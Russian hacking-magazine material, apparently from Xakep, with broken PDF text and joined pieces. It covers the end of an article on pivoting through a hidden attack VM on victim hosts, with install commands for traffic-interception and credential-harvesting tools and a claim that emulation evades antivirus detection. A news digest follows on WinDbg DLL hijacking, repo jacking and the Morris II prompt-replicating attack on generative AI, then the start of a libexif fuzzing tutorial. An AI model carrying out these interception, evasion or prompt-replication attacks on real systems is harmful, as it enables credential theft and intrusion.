Для уста нов ки сле дующих ][-ути лит нам вре мен но пот ребу ется под клю чить
допол нитель ные репози тории Alpine:

echo https://dl-cdn.alpinelinux.org/alpine/edge/testing >> /etc/apk/
repositories 
echo https://dl-cdn.alpinelinux.org/alpine/edge/main >> /etc/apk/
repositories 
echo https://dl-cdn.alpinelinux.org/alpine/edge/community >> /etc/
apk/repositories 
apk update 

Ос нова основ перех вата тра фика в локаль ных сетях — ARP spoong. На мой
взгляд, инс тру мен та удоб нее ста рого доб рого  поп росту нет:Ettercap

apk add ettercap 

Ес ли с ARP spoong ничего не вый дет, то, воз можно, повезет с вме шатель- 
ством в сетевой тра фик через IPv6:

pip3 install mitm6 

Ес ли рядом с нами ока жут ся Windows-хос ты, то им мало не покажет ся бла- 
года ря :responder

apk add responder 

Для активных вме шатель ств в перех ватыва емый веб-тра фик мы будем
исполь зовать :mitmproxy

apk add mitmproxy 

Ну и на вся кий слу чай:

apk add bettercap 

Не забыва ем убрать допол нитель ные репози тории, ина че при пос леду ющих
уста нов ках пакетов может про изой ти нежела тель ный даун грейд ком понен тов:

vi /etc/apk/repositories 
apk update 

На слу чай если при перех вате тра фика нам при дет ся стол кнуть ся с SSL/TLS,
мож но вос поль зовать ся :sslsplit

git clone https://github.com/droe/sslsplit 
apk add libevent-dev libnet-dev fts-dev fts 
make 
gcc ... -lfts

Для выдер гивания фай лов из незашиф рован ного сетево го тра фика уста- 
новим сле дующий пакет:

wget http://prdownloads.sourceforge.net/tcpxtract/tcpxtract-1.0.1.
tar.gz 
apk add flex-dev 
./configure 
make 

gcc ... -lfl

Ес ли мы вдруг захотим ата ковать SMB-тра фик домен ных машин, то, воз- 
можно, нам повезет с груп повыми полити ками:

git clone https://github.com/whitel1st/GP_Hijack 

А при перех вате SSH-тра фика мы можем уви деть plaintext-пароль:

git clone https://github.com/droberson/ssh-honeypot 
apk add libssh-dev json-c-dev 
make 

Не кото рые популяр ные сер висы могут отправ лять пароли по сети. Кто-то
откры тым тек стом, кто-то в виде хеша. И то и дру гое — цен ная информа ция
для нас. Сле дующая тул за отлично извле кает эту информа цию из перех вачен- 
ного тра фика:

git clone https://github.com/DanMcInerney/net-creds 
pip2 install scapy==2.3.1 

Но вот незада ча, нам нужен Python 2. Его выпили ли из всех сов ремен ных дис- 
три бути вов, поэто му пос тавим Python 2 из исходни ков:

wget https://www.python.org/ftp/python/2.7.18/Python-2.7.18.tgz 
apk add zlib-dev openssl-dev 
./configure 
make 
make install
 rm -r Python-2.7.18 

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py 
python2 get-pip.py 

Ну и наконец, что, если мы будем ата ковать адми нов, перех ватывая их тра фик
по SMB и внед ряя в их спи сок фай лов на сетевом дис ке RCE-ярлы ки?

apk add openssl-dev libnfnetlink-dev libnetfilter_queue-dev 
git clone https://github.com/quickbreach/SMBetray 
pip2 install impacket==0.9.24 

 pip2 install -r requirements.txt 

Го тово, мы добави ли в наш образ неболь шой инс тру мен тарий для L2-атак.

Èñïûòûâàåì Attack.img íà VirtualBox â Windows (åñòü ïðèâèëåãèè,

íåò ýêñôèëüòðàöèè)

Ар хитек тура QEMU не очень удоб на для орга низа ции сетевых мос тов
в Windows. В слу чае если перед нами ском про мети рован ная Windows,
на которой у нас име ются пра ва адми нис тра тора, для раз вития сетевых атак
нуж но вер нуть ся к уже зна комой VirtualBox.

Скры тую уста нов ку VirtualBox с брид жингом сетей host и guest мы уже рас- 
смот рели . Отли чий в пла не запус ка прак тичес ки никаких
нет. Раз ве что если pivot-канал отсутс тву ет, то более целесо образно запус- 
кать вир туал ку с GUI, ведь раз вивать даль нейшие ата ки мы будем пря мо
с нее:

в пре дыду щей статье

c:\post\vboxmanage startvm linux 

Ве дем ата ки пря мо с машины жер твы — при нуж даем к аутен тифика ции

Нес мотря на то что мы на машине под управле нием Windows, мы можем раз- 
вивать любые L2-ата ки. В этом при мере мы смог ли при нудить уда лен ный хост
к аутен тифика ции, не погасив 445-й порт на самой ском про мети рован ной
машине.

Èñïûòûâàåì Attack.img íà qemu-system â Linux (åñòü ïðèâèëåãèè,

íåò ýêñôèëüòðàöèè)

Слу чилось чудо: у нас есть пол ные пра ва на Linux. Ана логич но post_2 брид- 
жим сети на хос те:

brctl addbr br0; brctl addif br0 eth0; ifconfig eth0 0 promisc; 
ifconfig br0 10.0.0.18 netmask 255.255.255.0; route add -net default 
gw 10.0.0.1 

За пус каем вир туал ку:

 

 

./qemu-system-i386 -hda attack.img -m 512M -net 
nic,macaddr=00:11:22:33:44:55 -net tap,script=no 
brctl addif br0 tap0 
ifconfig tap0 up

И ана логич но post_3 выжима ем все ата ки уже из L2-дос тупа.

Ус тра иваем ата ки пря мо с машины жер твы — спу фим DNS через IPv6

L2-ата ки — это не толь ко ARP или NetBIOS spoong: все, что берет начало
с каналь ного уров ня, будет дос тижимо для ата кующей вир туаль ной машины,
вклю чая и IPv6. И как обыч но, без уста нов ки допол нитель ных пакетов.

Мы рас смот рели восемь сце нари ев пос тэкс плу ата ции. Четыре
под Windows и четыре под Linux, четыре с пра вами и столь ко же без прав,
четыре с каналом эксфиль тра ции и без него — все воз можные сочета ния
усло вий, с которы ми мож но стол кнуть ся при перехо де с «внеш ки» во «внут- 
рянку».

Нес мотря на ощу тимые раз личия усло вий, все восемь сце нари ев пос тэкс- 
плу ата ции име ют одно при меча тель ное сходс тво: в каж дом слу чае был
реали зован еди ный интерфейс — спе циаль но заготов ленная ОС, абс тра- 
гиру ющая нас от любого окру жения тех нологи ей эму ляции.

Все, что угод но, любую прог рамму или скрипт, мож но запус тить на любой
ОС и с любыми пра вами, прак тичес ки не каса ясь фай ловой сис темы
на машине жер твы и не уста нав ливая ни одной допол нитель ной прог раммы
или пакета.

И если шиф рование или обфуска ция — это наибо лее уни вер саль ный спо- 
соб укло нения от сиг натур ного обна руже ния анти виру са, то единс твен ное,
что может лег ко обой ти эвристи ку и поведен ческий ана лиз, — это вир туали- 
зация/эму ляция.

ÂÛÂÎÄÛ

На что спо собен хакер, ког да он может из ничего и без прав соз давать целые
миры, пол ноцен ные опе раци онные сис темы? Пол ностью абс тра гиро вать ся
от окру жающей сре ды, ее осо бен ностей и враж дебнос ти, спря тав шись
под сло ем эму ляции. А при наличии прав он может выпол нять трю ки, которые
не пре дус мотрел ни один безопас ник.

Ин фраструк тура QEMU прос то фан тасти чес кая. С ее помощью мож но,
нап ример, сде лать симуля цию в симуля ции — эму лиро вать текущее железо
пря мо в работа ющей ОС и запус тить ее в вир туаль ной машине, соз дав аль- 
тер натив ную реаль ность. А потом в эму лято ре запус тить еще один эму лятор.
А потом еще и еще, рекур сивно.

Эму ляция внут ри эму ляции внут ри эму ляции — just for fun

Все это ста вит под сом нение клас сичес кую модель пос тэкс плу ата ции:
«получил пра ва — повышай при виле гии». Ведь прак тичес ки весь пивотинг,
даже L3 с исполь зовани ем VPN-тун нелей, как выяс нилось, воз можен
без прав и на любой сис теме. И вмес то вер тикаль ной эска лации при виле гий
(в пре делах одной ОС) нам поч ти всег да будет про ще сде лать горизон таль- 
ную эска лацию через рас ширение при сутс твия, прос то отыс кав в сети более
уяз вимый хост.

Ма ло того что мы запус кали Linux внут ри Windows и делали это без прав,
QEMU поз воля ет еще и запус кать код нерод ного CPU бла года ря тран сля ции
машин ных команд.

Без прав и даже на чужом CPU

Это рас ширя ет горизон ты при мене ния QEMU в области пос тэкс плу ата ции
и на дру гих архи тек турах. ОС Linux бла года ря фай ловым сис темам user-space
(FUSE) в лице того же SSHFS поз воля ет рас ширить дис ковое прос транс тво
и сде лать воз можным запуск пол ноцен ной боевой ОС, наподо бие нашей,
даже в экзо тичес ких усло виях пос тэкс плу ата ции с все го 10 Мбайт сво бод- 
ного прос транс тва. Нап ример, на IP-камерах или про чих устрой ствах,
перепол ненных раз личны ми уяз вимос тями, которые могут стать отличной
точ кой опо ры и даль нейше го прод вижения.

Воз можнос ти эму ляции сегод ня не зна ют гра ниц. Нап ример, вот пол- 
ноцен ная ОС, запущен ная внут ри бра узе ра на чис том JavaScript.

Фаб рис Бел лар и тут был пер вым

От личная демонс тра ция того, что эму ляция спо соб на тво рить чудеса. Но это,
навер ное, уже тема для сле дующей статьи.

Мой друг Caster так же, как и я, на про тяже нии нес коль ких лет раз вивал
тему экс тре маль ного пивотин га с помощью вир туали зации — с его иссле- 
дова ниями ты можешь озна комить ся в . А еще
можешь пос мотреть его увле катель ный .

опуб ликован ных ранее стать ях
док лад на OFFZONE

https://xakep.ru/2024/05/08/virtualization-for-pivoting/
https://xakep.ru/author/c4s73r/
https://www.youtube.com/watch?v=hkl1arlmedw
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ВЗЛОМ

Се год ня мы с тобой прой дем ся по пос- 
ледним трен дам в ИБ, пос мотрим, какие
новые идеи занима ют умы спе циалис тов
по безопас ности (в том чис ле моей коман- 
ды) и какие пуб ликации на эту тему мож но
почитать.

Де нис Мак рушин — выпус кник факуль тета информа цион ной безопас ности
НИЯУ МИФИ и там же про дол жает делить ся опы том со сту ден тами сво ей аль- 
ма-матер. Так же Денис выс тупа ет науч ным руково дите лем для сту ден тов раз- 
ных ведущих кафедр и факуль тетов стра ны в области информа цион ной
безопас ности и защиты информа ции.

ÀÒÀÊÈ ÍÀ ÐÀÇÐÀÁÎÒ×ÈÊÀ: ÓßÇÂÈÌÎÑÒÜ Â ÎÒËÀÄ×ÈÊÅ WINDBG

Нач ну с иссле дова ния, которое про вела наша коман да Advanced Research
Team. Мы  инте рес ную осо бен ность в WinDbg, штат ном средс тве
отладки Windows. Эта осо бен ность дает воз можность запус кать про изволь- 
ный вре донос ный код на хос те раз работ чика и под менять биб лиоте ки.

об наружи ли

Не самый извес тный факт, но фор мат отла доч ных сим волов PDB поз воля- 
ет раз работ чикам снаб жать исполня емые фай лы не толь ко кодовы ми сим- 
волами и струк турами, но и информа цией о мес тонахож дении соот ветс тву- 
юще го исходно го кода. Механизм носит наз вание SrcSrv, и из-за некор рек-
тной обра бот ки его нас тро ек ата кующий может пере опре делить путь к рас- 
ширени ям WinDbg и про водить ата ку DLL Hijacking для под клю чения про- 
изволь ных DLL, в том чис ле DLL, рас положен ных на уда лен ном SMB-сер вере.

По вер хность ата ки:
1. Ата ка может зат ронуть окру жение раз работ чика или ана лити ка, который

работа ет над при ложе нием для Windows.
2. Штат ный отладчик не обновля ется авто мати чес ки, поэто му пот ребу ется

руч ное обновле ние — это усложня ет про цесс исправ ления.
3. Воз можные пос ледс твия: утеч ка интеллек туаль ной собс твен ности

или ком про мета ция исходно го кода раз рабаты ваемо го ПО.

В Microsoft под твер дили наличие уяз вимос ти и под готови ли исправ ление
в вер сии WinDbg 10.0.22621.0 и выше, а так же в Windows SDK 11.

От чет  на англий ском язы ке. Так же мы раз работа ли ,
которая про веря ет фай лы дам пов и ищет в них ссыл ки на фай лы PDB.

дос тупен ути литу

ÀÒÀÊÈ ÍÀ ÐÀÇÐÀÁÎÒ×ÈÊÀ: ÈÑÑËÅÄÎÂÀÍÈß ÒÅÕÍÈÊÈ REPO

JACKING

Repository hijacking (или Repo Jacking) — ата ка на репози торий, которая поз- 
воля ет получить пол ный кон троль над исходны ми кодами. В резуль тате ата- 
кующий может выпол нить про изволь ный код в том кон тек сте, где под клю чает- 
ся ата кован ный репози торий.

Ес ли раз работ чик в сво ем коде нап рямую под клю чает сто рон ний код
из чужого репози тория и если автор это го репози тория уда лил, перенес
или про дал свой акка унт, то любой может пов торно зарегис три ровать этот
акка унт и помес тить в нем вре донос ный код. Тог да все при ложе ния, которые
под клю чают код из это го репози тория, ока жут ся вре донос ными.

Опи сание ата ки Repo Jacking

Лег кая победа для того, кто стре мит ся к мас совому зараже нию зависи мос- 
тей. Имен но поэто му иссле дова тели нашей коман ды ART сде лали сле- 
дующее:
1. Из влек ли все ссыл ки на GitHub из кода зависи мос тей в двух наибо лее

популяр ных пакет ных менед жерах для Python и JavaScript: PyPI и NPM.
2. Уб рали дуб ликаты и прос каниро вали все ссыл ки на наличие репози тория.

Все ссыл ки, вер нувшие ответ 404, помети ли как .corrupted_links

3. Все  про вери ли на воз можность про вес ти ата ку
account takeover (зах ват акка унта).

corrupted_links

В резуль тате получи ли ста тис тику по репози тори ям GitHub, которые зло- 
умыш ленник уже сей час может зах ватить и исполь зовать для рас простра- 
нения вре донос ного кода в цепоч ке пос тавок. И опуб ликова ли 
иссле дова ния, вмес те с методи кой и инс тру мен тами.

ре зуль таты

ÌÅÒÎÄ ÏÎÈÑÊÀ N-DAY-ÓßÇÂÈÌÎÑÒÅÉ Â ÁÈÍÀÐÍÎÌ ÊÎÄÅ

Я люб лю и иног да прак тикую фаз зинг для поис ка дефек тов в ПО. Если сегод- 
ня взять какой-нибудь непопу ляр ный тар гет, под готовить стенд и запус тить
тес ты, то к кон цу недели мож но будет най ти пач ку инте рес ных уяз вимос тей.

В допол нение к уже извес тным тех никам добави лось све жее иссле дова- 
ние, которое нуж но будет обя затель но вос про извести: «

».
BinGo: Identifying

Security Patches in Binary Code with Graph Representation Learning
Это край не занима тель ный метод поис ка security-пат чей в бинар ном коде

при ложе ний. Акту ален он для тех слу чаев, ког да вла делец при ложе ния скры то
исправ ляет какие-нибудь уяз вимос ти в сво ем коде без регис тра ции CVE
или без упо мина ния в чен жло ге. Метод BinGo поз воля ет выяв лять n-day-уяз- 
вимос ти.

Тех ника осно вана на пред став лении бинар ного фай ла в виде Code
Property Graph — про межу точ ном пред став лении кода, изна чаль но раз- 
работан ном для ана лиза его безопас ности. CPG вклю чает в себя абс трак- 
тное син такси чес кое дерево, граф потока управле ния и зависи мос ти дан ных.

Осо бен ность это го метода зак люча ется в новой модели обна руже ния свя- 
зан ных с безопас ностью исправ лений, которая срав нива ет бинар ные фай лы
до и пос ле изме нений. И исполь зует для это го сиам скую ней росеть, которая
поз воля ет выявить сходс тво или раз личие меж ду бинаря ми.

Уро вень обна руже ния security-пат чей сре ди про чих модифи каций бинар- 
ного кода — 80,77%. Отлично! Оста лось подоб рать инте рес ные тар геты.

Идея: а что, если исполь зовать этот метод для выяв ления умыш ленно
оставлен ных зак ладок в бинар никах? Если мы выд вига ем гипоте зу о том, что
это воз можно, то для ее про вер ки нам понадо бит ся:
1. Най ти при мер (сем плы) модифи каций кода, которые точ но явля ются зак- 

ладка ми.
2. Сфор мировать CFG для подоб ранных сем плов.
3. Обу чить сиам скую сеть для опре деле ния сходс тва задан ного CFG

с целевым CFG, получен ным из сем плов.

Воз можно, ты читал мою статью «
». Мне кажет ся, про вер ка выд винутой выше гипоте зы будет отличной

темой для такого иссле дова ния!

Как про вес ти свое пер вое security-иссле- 
дова ние

ÀÒÀÊÀ ÍÀ ÀÒÀÊÓÞÙÅÃÎ: RCE Â ÏÎÏÓËßÐÍÎÌ ÔÐÅÉÌÂÎÐÊÅ

EMPIRE

Те, кто исполь зовал опен сор сный инс тру мент  для пен теста и ред- 
тимин га, зна ют о его богатых воз можнос тях, которые при гож дают ся при пос- 
тэкс плу ата ции.

Empire

Фрей мворк сос тоит из четырех ком понен тов, один из которых — Agent.
Его задача — уста новить канал управле ния ата куемым хос том и эксфиль тра- 
ции дан ных с него.

Уяз вимость, которая поз воля ет выпол нить обход катало га (directory
traversal),  в ком муника ции меж ду аген том и сер вером управле- 
ния. Мож но под менить зап росы аген та и заг рузить на сер вер любой файл
в про изволь ной дирек тории. Для этой уяз вимос ти уже дос тупен PoC, поэто му,
пен тесте ры и ред тимеры, про веряй те свою инфраструк туру на наличие
имплан тов.

об наруже на

ÒÎÏ-10 ÒÅÕÍÈÊ ÀÒÀÊ ÍÀ ÂÅÁ-ÏÐÈËÎÆÅÍÈß Â 2023 ÃÎÄÓ

Ком пания PortSwigger при под дер жке сооб щес тва ресер черов и баг ханте ров
сос тавля ет  иссле дова ний безопас ности веб-при ложе ний. Кста ти,
в рей тин ге 2021 года отме тилось  нашей коман ды, которое
было пос вящено тех нике JS prototype pollution.

рей тинг
ис сле дова ние

В 2023 году пер вое мес то в рей тин ге заняло иссле дова ние 
, в котором автор под- 

све тил новые аспекты атак race condition в сов ремен ных при ложе ниях.

Smashing
the state machine: the true potential of web race conditions

ÎÏÓÁËÈÊÎÂÀÍ NIST CYBERSECURITY FRAMEWORK V.2

Об новил ся фрей мворк, который орга низа ции по все му миру исполь зуют
для пос тро ения про цес сов информа цион ной безопас ности и управле ния
рис ками. Основные :об новле ния

рас ширен ско уп при мене ния: теперь в фокусе не толь ко кри тичес ки важ- 
ная инфраструк тура, но и орга низа ции любого раз мера;

•

Govern: добав лена новая фун кция, которая выделя ет при ори тет полити кам
управле ния ИБ;

•

до бав лен новый раз дел Supply Chain Risk Management, приз ванный
помочь защитить ся от атак на цепоч ки пос тавок;

•

Implementation Examples: обновля емые при меры внед рения рекомен-
даций.

•

Пре дыду щая вер сия фрей мвор ка опи сыва ла пять фун кций жиз ненно го цик ла
ИБ:

 — опре деле ние ресур сов, которые нуж но защищать;• Identify

 — опре деле ние мер защиты для каж дого ресур са;• Protect

 — выяв ление инци ден тов и новых угроз;• Detect

 — реаги рова ние на инци дент с целью сни жения пос ледс твий;• Respond

 — опре деле ние мер вос ста нов ления пос ле инци ден та.• Recover

Во вто рой вер сии фрей мвор ка этот спи сок попол нится новой фун кци ей. Я
ожи дал, что это будет что-то вро де Predict, как в модели адап тивной безопас- 
ности, про которую рас ска зал в статье « ». Этот раз дел
мог бы рас крыть супер силу ИИ для пре дик тивной ана лити ки и прог нозиро- 
вания угроз. Но нет: в новой вер сии будет пред став лена фун кция Govern,
которая зак репит пол номочия челове ка в управле нии полити ками и ролями
ИБ. При дет ся делать свой апдейт к это му фрей мвор ку и опи сывать фун кцию
прог нозиро вания!

Про ект Red Team

ÏÎÈÑÊ ÑÅÊÐÅÒÎÂ Â ÂÈÄÅÎÊÎÍÒÅÍÒÅ

Мы уже  искать сек реты в исходном коде (пароли, токены, API-клю чи).
Иссле дова тели GitLab опуб ликова ли метод и инс тру мент поис ка сек ретов
в видео.

уме ем

Как эта ути лита работа ет: виде оза пись раз бива ется на кад ры, в каж дом
кад ре с помощью OCR рас позна ется текст, в получен ном тек сте про водит ся
поиск пат тернов.

Инс тру мент мож но исполь зовать для целенап равлен ного поис ка сек ретов
в виде оза писях рабочих встреч, а так же для их монито рин га и мас сового сбо- 
ра дан ных в пуб лику емом кон тенте на раз личных пло щад ках, нап ример
в соци аль ных сетях и на виде охос тингах.

Фун кци ональ ная схе ма работы инс тру мен та для поис ка сек ретов

MORRIS II — ÏÅÐÂÛÉ ÂÈÐÓÑ, ÀÒÀÊÓÞÙÈÉ ÃÅÍÅÐÀÒÈÂÍÛÉ ÈÈ

Гром кий заголо вок , в котором авто ры исполь зуют уяз вимос ти
генера тив ного ИИ для вре донос ных дей ствий, сра зу наводит на мыс ли о том,
что целью было прос то прив лечь вни мание. Давай раз берем ся, есть ли тут
что-то разум ное или же один хайп.

ис сле дова ния

Ис сле дова тели сфор мирова ли зап росы, которые про воци руют ML-модель
генери ровать на выходе то же, что ата кующий пода ет на вход. В резуль тате
получа ется зас тавить модель вос про извести зап рос ата кующе го и выпол нить
вре донос ное дей ствие. И это вре донос ное дей ствие может быть нап равле но
на дру гие ком понен ты, которые работа ют в одной эко сис теме с этой
моделью.

Схе ма ата ки Morris II

Ата ка про ходит без вме шатель ства поль зовате ля, но я бы все же не стал
называть эту футурис тичную мал варь чер вем. Ско рее это что-то вро де SSRF:
мож но манипу лиро вать ком понен тами эко сис темы, в которой находит ся уяз- 
вимая модель. Но что бы был нас тоящий червь, нуж но, навер ное, что бы
модель начала отправ лять зап росы за пре делы сво ей эко сис темы дру гим
подоб ным ML-моделям.

По это му кон цепт ата ки на про дук ты инте рес ный, но срав нение c Morris,
на мой взгляд, нем ного не к мес ту. Ни по прин ципу работы, ни по потен циаль- 
ной раз рушитель нос ти.

https://t.me/makrushin
https://habr.com/ru/companies/ru_mts/articles/763320/
https://appsec.su/posts/srcsrv/
https://github.com/ph1048/dump_pdb_check
https://habr.com/ru/companies/ru_mts/articles/790966/
https://arxiv.org/abs/2312.07921v1?trk=feed_main-feed-card_feed-article-content
https://xakep.ru/2023/08/24/your-first-research/
https://github.com/BC-SECURITY/Empire
https://aceresponder.com/blog/exploiting-empire-c2-framework
https://portswigger.net/research/top-10-web-hacking-techniques-of-2023
https://t.me/makrushin/182
https://portswigger.net/research/smashing-the-state-machine
https://www.nist.gov/news-events/news/2024/02/nist-releases-version-20-landmark-cybersecurity-framework
https://xakep.ru/2019/05/20/red-team/
https://t.me/makrushin/46
https://github.com/StavC/ComPromptMized/?tab=readme-ov-file
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ВЗЛОМ

Ког да я толь ко начал вли вать ся в мир
хакерс тва, мне дико не хва тало информа- 
ции, ее при ходи лось собирать по кру пицам.
В этом матери але я пос тарал ся изло жить
то, чего мне тог да не дос тавало, — всю
информа цию по ревер су в сжа том и сис- 
темати зиро ван ном виде. А для наг ляднос ти
мы с тобой раз берем боевую задачу —
реверс прог раммы libexif.

Эта статья нацеле на на людей, которые пос тепен но вырас тают из тас ков
на CTF катего рии PWN и Reverse, хотят пощупать реаль ные прог раммы
и понять, что такое нас тоящий ана лиз бинаря. Ресер чи, которые пишут спе- 
циалис ты извес тных ком паний, хороши, но боль шинс тво нович ков не зна ют,
с чего начинать делать такое иссле дова ние, как тре ниро вать ся и как заполу- 
чить стенд. Сегод ня мы с тобой это испра вим.

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÏÐÈÌÅÐÍÛÉ ÏÎÐßÄÎÊ ÄÅÉÑÒÂÈÉ ÄËß ÁÈÍÀÐÍÎÃÎ ÐÅÑÅÐ×À

Да вай раз ложим по пун ктам все дей ствия, которые ресер чер может про изво- 
дить с ана лизи руемым бинар ным фай лом.
1. Ñáîð èíôîðìà öèè î òàð ãåòå:

что за бинарь, для чего он пред назна чен, для какой плат формы, есть ли
исходный код в откры том дос тупе, или это «чер ный ящик»;

•

как собирать бинарь — есть ли  или , может,
нуж но прос то ском пилить при помощи GCC;

• setup.sh install.sh

как им поль зовать ся: пос мотреть воз можнос ти прог раммы, что она
дела ет и как с ней вза имо дей ству ет поль зователь.

•

2.  — при мене ние средств пер вично го ана лиза.

Вот самые ходовые тул зы:

Çíà êîìñ òâî ñ áèíàðåì

 — сис темная ути лита, которая поз воля ет узнать тип дан ных внут ри
фай ла;

• file

 — ути лита, которая про веря ет пер вичные средс тва безопас- 

ности в бинаре;

• checksec

 — отоб ража ет файл в виде шес тнад цатерич ных кодов или выпол- 

няет обратное пре обра зова ние;

• xxd

 — ути лита, при меня емая для поис ка печата емых строк в дво- 
ичных фай лах;

• strings

 — бес плат ная служ ба, ана лизи рующая подоз ритель ные

фай лы и ссыл ки на пред мет наличия вирусов, чер вей, тро янов и все- 
воз можных вре донос ных прог рамм;

• VirusTotal

 — ути лита для опре деле ния типов фай лов. Кто читал кни гу «

», тот дол жен знать
ути литу.

• DIE Вскры- 

тие покажет! Прак тичес кий ана лиз вре донос ного ПО

3.  (если это тре бует ся). Это тех ника поис ка потен-

циаль ных уяз вимос тей в авто мати чес ком или полу авто мати чес ком
режиме. Здесь нам помогут:

Ôàç çèíã ïðîã ðàììû

 — собира ет информа цию о пок рытии для каж дого изме нен ного

вход ного зна чения и помога ет обна ружить новые пути выпол нения
и потен циаль ные баги;

• AFL++

 — фрей мворк для обна руже ния оши бок в коде, соз данный

в основном для тес тирова ния прог рамм на C/C++, но под держи вает
и дру гие язы ки;

• LibFuzzer

 — этот метод исполь зует ся, ког да прог рамма

спе цифич ная или исполь зовать извес тные фаз зеры не име ет смыс ла
или нет воз можнос ти. При мер можешь пос мотреть в 
на codeby.net;

• ñà ìîïèñ íûé ôàç çåð

пос те

 — по сути, прос то тыкание прог раммы, как в тас ках

на CTF. Ресер чер прос то пода ет слу чай ные дан ные прог рамме вруч- 
ную.

• ðó÷ íîé ôàç çèíã

4.  Этот шаг важен, и думаю, что пояс нения тут не нуж ны. Информа- 

ции в интерне те пол но, смот ри, нап ример, под борку ста тей «
». Здесь же перечис лю основные ути литы:

Ðå âåðñ.

Ре верс мал- 
вари

 — это самая извес тная прог рамма для дизас сем бли рова ния,

в пред став лении она не нуж дает ся. Как ей поль зовать ся, мож но
почитать, нап ример, в кни ге Рикар до Нар вахи  (дос- 
тупен );

• IDA Pro

The IDA Pro Book
лю битель ский перевод

 — отладчик прог рамм для ОС Windows. Ска чать мож но

;

• ImmunityDBG

на офи циаль ном сай те
 — кросс-плат формен ный отладчик

для AArch32/x86/x86-64. В дан ный момент офи циаль но дос тупен толь- 
ко на Linux, но уже готовят ся пор ты для FreeBSD, OpenBSD, macOS
и Windows;

• EDB Debugger

 — перено симый отладчик про екта GNU, работа ет

на мно гих UNIX-подоб ных сис темах и помога ет отла живать мно гие язы-
ки прог рамми рова ния, вклю чая C/C++, Free Pascal, FreeBASIC, Ada,
фор тран и Rust;

• GDB Debugger

 — этот фрей мворк для ревер са соз дан в АНБ США и вклю чает

в себя набор пол нофун кци ональ ных высокок лас сных инс тру мен тов
ана лиза прог рамм. Работа ет на Windows, macOS и Linux. Под робнее
о нем мож но про честь в стать ях « » и «

»;

• Ghidra

Ghidra vs IDA Pro Ghidra vs
crackme

 — сво бод ный кросс-плат формен ный фрей мворк

для реверс-инжи нирин га, вклю чает дизас сем блер, шес тнад цатерич ный
редак тор, ана лиза тор кода и про чие полез ности. Исполь зует ся
при ревер се, отладке вре донос ного ПО и про шивок. Ска чать мож но
с GitHub;

• radare2

 — это прог рамма для ревер са, в которой мож но пос- 
мотреть мес то падения прог раммы в исходном коде по фай лу, который
вызыва ет краш.

• Eclipse-CDT

5.  Пишем код, который будет экс плу ати ровать уяз- 
вимость. Здесь все зависит от тво их уме ний и пред почте ний, а так же
от того, что мы экс плу ати руем и на какой плат форме.

Íà ïèñà íèå ýêñ ïëî èòà.

ÑÁÎÐ ÈÍÔÎÐÌÀÖÈÈ Î ÒÀÐÃÅÒÅ È ÇÍÀÊÎÌÑÒÂÎ Ñ ÁÈÍÀÐÅÌ

Из наз вания статьи ты уже зна ешь, что будем пыв нить  вер сии 0.6.14.
Давай поз накомим ся с нашим тар гетом поб лиже.

libexif

 — это биб лиоте ка для раз бора, редак тирова ния и сох ранения дан- 
ных EXIF, то есть зашитых в некото рые изоб ражения метадан ных.

Libexif

Да вай теперь най дем какую-нибудь прог рамму с этой биб лиоте кой
на роль подопыт ного. Бла го на прос торах GitHub это го доб ра сколь ко угод но.
Один из самых прос тых вари антов — прог рамма . Это неболь шая ути лита
коман дной стро ки для отоб ражения информа ции EXIF. Написа на она как раз
для того, что бы демонс три ровать воз можнос ти libexif.

exif

Для начала ска чаем и соберем тар гет:

 mkdir libexif && cd libexif/ 
wget https://github.com/libexif/libexif/archive/refs/tags/libexif-0_
6_14-release.tar.gz 

 tar -xzvf libexif-0_6_14-release.tar.gz 

Со бира ем и уста нав лива ем :libexif

cd libexif-libexif-0_6_14-release/ 
sudo apt-get install autopoint libtool gettext libpopt-dev 
autoreconf -fvi

no ./configure --enable-shared= --prefix="$PWD/fuzzing_libexif/
install/"
make 
make install

Биб лиоте ка готова, теперь ска чаем и соберем исполь зующую ее прог рамму:

 cd $PWD/fuzzing_libexif 
wget https://github.com/libexif/exif/archive/refs/tags/exif-0_6_15-
release.tar.gz 

 tar -xzvf exif-0_6_15-release.tar.gz 

Со бира ем exif:

cd exif-exif-0_6_15-release/ 
autoreconf -fvi

no 
 

./configure --enable-shared= --prefix="$PWD/fuzzing_libexif/
install/" PKG_CONFIG_PATH=$PWD/fuzzing_libexif/install/lib/pkgconfig 
make 
make install

Пос ле сбор ки мож но запус кать прог рамму.

Да вай поп робу ем и пос мотрим, как прог рамма работа ет. Из опи сания понят- 
но, что на вход нуж но подать кар тинку, поэто му ска чаем из того же репози- 
тория при меры кар тинок.

 out  mkdir in; mkdir ; cd in
wget https://github.com/ianare/exif-samples/archive/refs/heads/
master.zip 
unzip master.zip 

Ко ман да  соз даст две дирек тории:  и ,

а затем перей дет в дирек торию . Эти пап ки потом понадо бят ся нам

при фаз зинге.

mkdir in; mkdir out; cd in /in /out
/in

За пус каем прог рамму:

./exif Canon_400.jpg 

И видим резуль тат ее работы.

От лично! С работой прог раммы разоб рались.

ÔÀÇÇÈÍÃ

Те перь нас тало вре мя фаз зинга. Он поможет нам напасть на след потен- 
циаль ных багов.

Для фаз зинга у нас есть тес ткей сы и наш скром ный опыт обще ния с прог- 
раммой.

В качес тве средс тва фаз зинга я буду исполь зовать AFL++. Давай уста- 
новим его.

Óñòàíîâêà AFL++
Ста вим зависи мос ти:

sudo apt-get update 
 sudo apt-get install -y build-essential python3-dev automake git 

flex bison libglib2.0-dev libpixman-1-dev python3-setuptools 
  

 
sudo apt-get install -y lld-11 llvm-11 llvm-11-dev clang-11 || sudo 
apt-get install -y lld llvm llvm-dev clang 

  gcc- gcc |sed 
|sed gcc |sed 

|sed 

sudo apt-get install -y $( --version|head -n1 's/.* //'
's/\..*//')-plugin-dev libstdc++-$( --version|head -n1

's/.* //' 's/\..*//')-dev

Ка чаем AFL++ из офи циаль ного репози тория и уста нав лива ем:

 cd $HOME
 git clone https://github.com/AFLplusplus/AFLplusplus && cd 

AFLplusplus 
export LLVM_CONFIG="llvm-config-11"
make distrib 

make sudo install

Пос ле сбор ки мож но запус тить бинарь  и пос мотреть крат кую

справ ку.

afl-fuzz

Об исполь зовании AFL++ советую эти статьи:
• Фаз зинг с AFL++. Зна комс тво
